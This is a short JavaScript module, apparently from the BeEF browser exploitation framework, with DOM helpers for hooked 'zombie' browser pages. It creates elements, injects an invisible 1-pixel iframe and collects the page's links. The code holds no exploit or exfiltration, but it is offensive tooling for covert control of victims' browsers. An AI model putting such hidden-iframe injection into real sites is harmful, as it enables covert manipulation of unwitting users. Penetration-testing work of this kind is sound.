/*!
 * @literal object: beef.dom
 *
 * Provides functionalities to manipulate the DOM.
 */
beef.dom = {
	
	/**
	 * Creates a new element but does not append it to the DOM.
	 * @param: {String} the name of the element.
	 * @param: {Literal Object} the attributes of that element.
	 * @return: the created element.
	 */
	createElement: function(type, attributes) {
		var el = document.createElement(type);
		
		for(index in attributes) {
			if(typeof attributes[index] == 'string') {
				el.setAttribute(index, attributes[index]);
			}
		}
		
		return el;
	},
	
	/**
	 * Creates an invisible iframe on the zombie's page.
	 * @return: the iframe.
	 */
	createInvisibleIframe: function() {
		var iframe = this.createElement('iframe', {
				width: '1px',
				height: '1px',
				style: 'visibility:hidden;'
			});
		
		document.body.appendChild(iframe);
		
		return iframe;
	},
	
	/**
	 * Get links of the current page.
	 * @return: array of URLs.
	 */
	getLinks: function() {
		var linksarray = [];
		var links = document.links;
		for(var i = 0; i<links.length; i++) {
			linksarray = linksarray.concat(links[i].href)		
		};
		return linksarray
	}
	
};

beef.regCmp('beef.dom');